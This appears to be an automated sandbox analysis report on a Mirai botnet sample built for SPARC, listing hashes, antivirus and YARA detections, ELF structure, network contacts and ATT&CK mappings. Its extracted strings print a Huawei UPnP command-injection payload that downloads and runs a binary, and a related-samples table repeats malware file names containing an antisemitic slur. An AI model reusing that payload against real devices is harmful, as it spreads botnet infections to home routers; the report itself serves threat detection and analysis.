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Linux Analysis Report
spc.elf

Overview

General Information

Sample name:	spc.elf
Analysis ID:	1674852
MD5:	6bbb1d8fafcde6178cfd239cfc063d82
SHA1:	27c902184938aad79fcad6fab84245a3064b87d4
SHA256:	56554578b5fce427817fb175c64d4dfc1d193183bf7c41c07b590533af1260f5
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	72
Range:	0 - 100

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected Mirai

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1674852
Start date and time:	2025-04-26 17:19:13 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	spc.elf
Detection:	MAL
Classification:	mal72.troj.linELF@0/0@0/0

Runtime Messages

Command:	/tmp/spc.elf
PID:	5474
Exit Code:	1
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:

Process Tree

system is lnxubuntu20

spc.elf (PID: 5474, Parent: 5398, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/spc.elf

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
spc.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
spc.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author
5474.1.00007f219c011000.00007f219c025000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5474.1.00007f219c011000.00007f219c025000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: spc.elf PID: 5474	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

• AV Detection
• Networking
• System Summary
• Malware Analysis System Evasion
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: spc.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: spc.elf	Virustotal: Detection: 53%			Perma Link
Source: spc.elf	ReversingLabs: Detection: 63%

Source: global traffic

TCP traffic: 192.168.2.13:48202 -> 185.125.190.26:443

Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26

Source: spc.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: spc.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown

Network traffic detected: HTTP traffic on port 48202 -> 443

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g
Source: Initial sample	String containing 'busybox' found: -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal72.troj.linELF@0/0@0/0

Source: /tmp/spc.elf (PID: 5474)

Queries kernel information via 'uname':

Jump to behavior

Source: spc.elf, 5474.1.0000560c48f59000.0000560c48fdf000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sparc
Source: spc.elf, 5474.1.0000560c48f59000.0000560c48fdf000.rw-.sdmp	Binary or memory string: V!/etc/qemu-binfmt/sparc
Source: spc.elf, 5474.1.0000560c48f59000.0000560c48fdf000.rw-.sdmp	Binary or memory string: /usr/bin/vmtoolsd
Source: spc.elf, 5474.1.0000560c48f59000.0000560c48fdf000.rw-.sdmp	Binary or memory string: V!/usr/bin/vmtoolsd
Source: spc.elf, 5474.1.00007ffc10487000.00007ffc104a8000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sparc/tmp/spc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/spc.elf
Source: spc.elf, 5474.1.00007ffc10487000.00007ffc104a8000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sparc

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: spc.elf, type: SAMPLE
Source: Yara match	File source: 5474.1.00007f219c011000.00007f219c025000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: spc.elf PID: 5474, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: spc.elf, type: SAMPLE
Source: Yara match	File source: 5474.1.00007f219c011000.00007f219c025000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: spc.elf PID: 5474, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
spc.elf	53%	Virustotal		Browse
spc.elf	64%	ReversingLabs	Linux.Worm.Mirai
spc.elf	100%	Avira	EXP/ELF.Mirai.Hua.c

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	spc.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	spc.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.125.190.26	unknown	United Kingdom		41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
185.125.190.26	arm5.elf	Get hash	malicious	Mirai	Browse
	x-3.2-.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	boatnet.arm5.elf	Get hash	malicious	Mirai	Browse
	fuckjewishpeople.arm6.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	fuckjewishpeople.mpsl.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	skid.arm4.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	skid.ppc.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	fuckjewishpeople.arm7.elf	Get hash	malicious	Unknown	Browse
	boatnet.arm7.elf	Get hash	malicious	Mirai	Browse
	boatnet.ppc.elf	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	ppc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	arm5.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
	x-3.2-.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.125.190.26
	arm6.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	hmips.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	m-p.s-l.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	91.189.91.42
	sh4.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	uYtea.x86.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	i-5.8-6.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	91.189.91.42
	boatnet.arm5.elf	Get hash	malicious	Mirai	Browse	185.125.190.26

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.074108582371709
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	spc.elf
File size:	83'272 bytes
MD5:	6bbb1d8fafcde6178cfd239cfc063d82
SHA1:	27c902184938aad79fcad6fab84245a3064b87d4
SHA256:	56554578b5fce427817fb175c64d4dfc1d193183bf7c41c07b590533af1260f5
SHA512:	a53fed3473f818dcd305b79746dd66916520b15789269770a6f3b6ee385a599bbf9444e174ce594ec50ae2a439bbc9391fdd7b30fc3f914c0b1f7bf71977769b
SSDEEP:	1536:ct8KLrZ5+K8G9gYyHItRGKo+5kxQFhktnXS:cf55jnGKomkjS
TLSH:	03834B22BDB61D2BC4C4A47A61F34321F2F6978A24FCCA1A3DB10D8DBF6564031576B9
File Content Preview:	.ELF...........................4..C......4. ...(......................=...=...............@...@...@....x..T(........dt.Q................................@..(....@.H/................#.....cx..`.....!..... ...@.....".........`......$ ... ...@...........`....

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	Sparc
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x101a4
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	82872
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10094	0x94	0x1c	0x0	0x6	AX	4
.text	PROGBITS	0x100b0	0xb0	0x120f4	0x0	0x6	AX	4
.fini	PROGBITS	0x221a4	0x121a4	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x221b8	0x121b8	0x1be0	0x0	0x2	A	8
.ctors	PROGBITS	0x34000	0x14000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x34008	0x14008	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x34018	0x14018	0x360	0x0	0x3	WA	8
.bss	NOBITS	0x34378	0x14378	0x50b0	0x0	0x3	WA	8
.shstrtab	STRTAB	0x0	0x14378	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000	0x10000	0x13d98	0x13d98	6.1295	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x14000	0x34000	0x34000	0x378	0x5428	2.6251	0x6	RW	0x10000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Download Network PCAP: filtered – full

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 26, 2025 17:20:17.295342922 CEST	48202	443	192.168.2.13	185.125.190.26
Apr 26, 2025 17:20:49.039187908 CEST	48202	443	192.168.2.13	185.125.190.26

System Behavior

Analysis Process: spc.elf PID: 5474, Parent PID: 5398

General

Start time (UTC):	15:20:03
Start date (UTC):	26/04/2025
Path:	/tmp/spc.elf
Arguments:	/tmp/spc.elf
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Linux Analysis Report spc.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

TCP Packets

System Behavior

Analysis Process: spc.elf PID: 5474, Parent PID: 5398

General

File Activities

File Opened

File Read

Directory Enumerated

Process Activities

Thread Sleep

System Activities

Query System Information (uname)

Chronological Activities

Linux Analysis Report
spc.elf